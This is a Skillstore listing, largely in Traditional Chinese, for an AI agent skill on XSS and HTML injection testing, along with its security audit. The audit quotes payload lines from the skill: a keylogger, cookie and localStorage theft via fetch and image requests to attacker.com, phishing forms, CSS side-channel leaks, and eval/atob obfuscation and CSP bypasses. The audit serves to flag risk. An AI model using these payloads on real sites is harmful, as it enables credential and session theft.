技能 xss-html-injection
📦
xss-html-injection
內容修訂 r2 嚴重 ⚡ 包含腳本⚙️ 外部命令🌐 網路存取📁 檔案系統存取
評估 XSS 與 HTML 注入風險
用戶端注入缺陷可能暴露工作階段、帳戶資料，並損害使用者信任。此技能可協助經授權的測試人員以結構化方式進行 XSS 評估，並提供清楚的修補指引。
支援: Claude Codex Code(CC)
請勿自動安裝此 Skill。
權威政策要求在執行任何安裝操作前由操作人員審查。
使用我的智慧代理安裝
將此請求複製給你的智慧代理，其中包含權威 Skill 頁面和清單。
智能體請求
Review the Skillstore skill "xss-html-injection" from https://skillstore.io/skills/sickn33-xss-html-injection.md and its manifest at https://skillstore.io/api/skills/sickn33-xss-html-injection/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智慧代理仍應顯示其計畫，並依安全政策請求必要確認。
Agent 可讀資源
當 AI Agent、爬蟲或腳本需要乾淨脈絡、而不是讀取完整頁面時，請使用這些連結。
測試它
正在使用「xss-html-injection」。 搜尋頁面會在頁面標題中反映查詢值，且未見明顯編碼。
預期結果:
輸出會識別反射型 XSS 風險，列出安全驗證證據，說明使用者影響，並建議依情境進行輸出編碼。
正在使用「xss-html-injection」。 個人檔案簡介會在提交後被儲存，並顯示給其他已登入使用者。
預期結果:
輸出會分類儲存型 XSS 風險，註明受影響的角色，建議證據收集方式，並建議清理加上 CSP 強化。
正在使用「xss-html-injection」。 前端程式碼讀取 URL fragment，並將其寫入歡迎訊息。
預期結果:
輸出會標記 DOM XSS 風險，追蹤 source-to-sink 路徑，並建議僅以文字插入或使用受信任的 sanitizer。
安全審計
嚴重v6 • 2026/9/7 開啟版本化報告
The skill is an offensive XSS testing guide with explicit authorization gates. It also supplies operational keylogging, session theft, phishing, and defense-evasion instructions that create critical misuse risk. Syntax inventories, Markdown fences, placeholder targets, and defensive limitations were dismissed as false positives.
2
已掃描檔案
533
分析行數
17
複核項目
0
已忽略的誤報
已確認的安全問題 (8)
嚴重
Keylogger keywords
<!-- Keylogger injection -->
The section provides a working document-wide keylogger that transmits each keystroke to an attacker endpoint.
嚴重
Actionable Credential and Session Theft Workflow
The guide teaches persistent keylogging, cookie theft, session-data capture, and credential harvesting with attacker-controlled collection endpoints.
The cited sections contain complete browser payloads that collect sensitive data and transmit it to attacker endpoints.
高
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The code encodes document.cookie before transmitting it to an attacker endpoint, obscuring stolen session data.
高
Phishing Delivery and Interface Impersonation Guidance
The guide recommends phishing channels and supplies injected forms and full-page frames that imitate trusted interfaces to capture credentials.
The text explicitly labels phishing delivery methods and provides credential forms and interface-overlay examples.
高
Security Control Evasion Guidance
The guide catalogs encoding, obfuscation, CSP bypass, and WAF bypass methods that increase payload reliability against deployed defenses.
The cited sections explicitly present filter-bypass payloads and troubleshooting steps for bypassing CSP and WAF controls.
中
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Base64 decoding is intentionally combined with eval to conceal an executable XSS payload from filters.
中
Unicode escape sequence
<script>\u0061lert(1)</script>
The Unicode escape is presented as an encoding bypass for an executable XSS payload.
中
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
The Unicode escapes conceal an event-handler payload to bypass input filtering.
能力複核項目 (17)
這些是真實的本機能力，對此技能而言可能是預期行為，因此需要複核，但不會按已確認的惡意行為計分。
嚴重
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL receives each captured key from a document-wide keypress handler, forming an operational keylogger.
高
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script> <!-- security-allowlist: controlled XSS obfuscation example -->
Line 314 provides an executable eval payload designed to evade simple filters through string concatenation.
高
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Line 323 combines Base64 decoding with eval in an executable XSS obfuscation payload.
高
Fetch API call
fetch('http://attacker.com/capture',{
The fetch sends cookies and the current URL to an attacker endpoint as a session-hijacking payload.
高
Fetch API call
fetch('https://attacker.com/log',{
The fetch transmits cookies, local storage, and the current URL to an attacker endpoint.
高
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL receives document.cookie through a forced navigation, providing a directly usable cookie-theft payload.
高
Hardcoded URL
fetch('http://attacker.com/capture',{
The attacker URL is the destination for exfiltrated cookies and page location data.
高
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The form posts usernames and passwords to an attacker endpoint while impersonating an expired login.
高
Hardcoded URL
<form action="http://attacker.com/capture">
The injected form submits entered credentials to an attacker endpoint, enabling credential theft.
高
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The CSS rule makes attacker-controlled requests based on input values, demonstrating side-channel data exfiltration.
高
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The CSS rule leaks whether an input begins with a chosen character through an attacker-controlled request.
高
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The full-page iframe loads an attacker phishing page and can visually replace the legitimate interface.
高
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The image request sends a Base64-encoded session cookie to an attacker endpoint.
高
Hardcoded URL
fetch('https://attacker.com/log',{
The attacker URL receives cookies, local storage, and page location through the accompanying fetch.
高
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The image URL transmits document.cookie to an attacker endpoint in a stored-XSS example.
高
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The crafted URL embeds a payload that sends document.cookie to an attacker endpoint and is intended for phishing delivery.
高
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL demonstrates loading a JSONP response as script to bypass an existing Content Security Policy.
風險因素
⚡ 包含腳本 (7)
⚙️ 外部命令 (19)
references/detailed-guide.md:317-326 references/detailed-guide.md:326-328 SKILL.md:59-64 SKILL.md:64-69 SKILL.md:69-74 SKILL.md:74-83 SKILL.md:83-85 SKILL.md:85-88 SKILL.md:88-90 SKILL.md:90-93 SKILL.md:93-95 SKILL.md:95-104 SKILL.md:104-106 SKILL.md:106-109 SKILL.md:109-111 SKILL.md:111-120 SKILL.md:120-122 SKILL.md:122-125 SKILL.md:125-127
🌐 網路存取 (26)
references/detailed-guide.md:131 references/detailed-guide.md:378 references/detailed-guide.md:119 references/detailed-guide.md:125 references/detailed-guide.md:131 references/detailed-guide.md:140 references/detailed-guide.md:155 references/detailed-guide.md:158 references/detailed-guide.md:161 references/detailed-guide.md:164 references/detailed-guide.md:218 references/detailed-guide.md:221 references/detailed-guide.md:225 references/detailed-guide.md:241 references/detailed-guide.md:248 references/detailed-guide.md:249 references/detailed-guide.md:253 references/detailed-guide.md:371 references/detailed-guide.md:378 SKILL.md:72 SKILL.md:84 SKILL.md:89 SKILL.md:94 SKILL.md:110 SKILL.md:121 SKILL.md:126
📁 檔案系統存取 (1)
偵測到的模式
Keylogger keywords
審計單位: codex 檢視審計紀錄 →
分享與引用此報告
分享版本化評估報告、中性徽章、嵌入卡片與引用。Skillstore 只報告證據，不判斷該 Skill 是否安全。
複製報告連結
https://skillstore.io/skills/sickn33-xss-html-injection/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-xss-html-injection/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-xss-html-injection.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>學術引用 (APA · BibTeX · CFF)
APA 引用
zebbern. (2026). xss-html-injection security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-xss-html-injection/audits/6BibTeX 引用
@techreport{zebbern-sickn33-xss-html-injection-2026,
author = {zebbern},
title = {xss-html-injection security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-xss-html-injection/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "xss-html-injection security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-09-07"
url: "https://skillstore.io/skills/sickn33-xss-html-injection/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-xss-html-injection:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore 評分
評分依據 證據置信度: 中 41
架構
85
可維護性
87
內容
71
社群
83
規範符合度
你可以打造什麼
驗證 Web 應用程式輸入
規劃針對表單、個人檔案、留言與 URL 參數的授權 XSS 檢查。
準備客戶報告
將觀察到的注入行為轉化為清楚的嚴重性、影響與修補說明。
檢閱前端資料流程
在發布前追蹤瀏覽器控制的資料進入 DOM sinks 的路徑。
試試這些提示
找出 XSS 測試區域
列出此授權應用程式可能的 XSS 與 HTML 注入測試區域：[describe pages, forms, and user roles]。
規劃安全驗證
為此範圍內功能建立非破壞性的 XSS 驗證計畫：[feature]。包含輸入、預期反射，以及要收集的證據。
分析 DOM 流程
檢閱此 DOM 資料流程描述中的 XSS 風險：[sources, transformations, sinks]。說明可能的可利用性與更安全的模式。
撰寫修補報告
將這些 XSS 測試觀察轉換為可提交給客戶的發現項目，包含嚴重性、影響、重現摘要、根本原因與修補建議：[observations]。
最佳實務
- 僅使用範圍內的帳戶、核准的網域與非正式環境資料。
- 針對每個發現項目收集螢幕截圖、請求、回應與瀏覽器觀察結果。
- 優先透過輸出編碼、安全 DOM APIs、清理與 CSP 進行修補。
避免
- 不要在沒有書面授權的情況下測試目標。
- 不要收集真實憑證、工作階段 token 或個人資料。
- 不要與核准範圍外的使用者分享 exploit 傳遞連結。
常見問題
此技能是否僅用於授權測試？
是。僅能在具備書面授權、明確範圍，並已核准任何敏感證據處理方式的情況下使用。
它可以自動確認 XSS 嗎？
否。它提供評估結構，但確認仍需要受控測試與來自目標應用程式的證據。
它是否涵蓋 DOM-based XSS？
是。它會說明如何檢閱瀏覽器控制的來源與危險 DOM sinks。
它是否包含修補指引？
是。它涵蓋輸出編碼、清理、更安全的 DOM APIs、cookie flags 與 Content Security Policy。
開發者可以在發布前使用它嗎？
是。開發者可以使用它在部署前檢閱有風險的資料流程並規劃安全驗證。
報告應包含哪些證據？
包含受影響的 URLs、輸入位置、螢幕截圖、請求詳細資料、瀏覽器行為、影響與精確的修補步驟。
開發者詳細資訊
作者
zebbern授權
MIT
Skillstore 修訂
r2
版本提示
作者未聲明版本。
引用
b1ef80115e869b66867d4eac8e3c8dc56a393a8d
維護新鮮度
2026/9/8
使用量
9 次下載 · 241 次瀏覽
檔案結構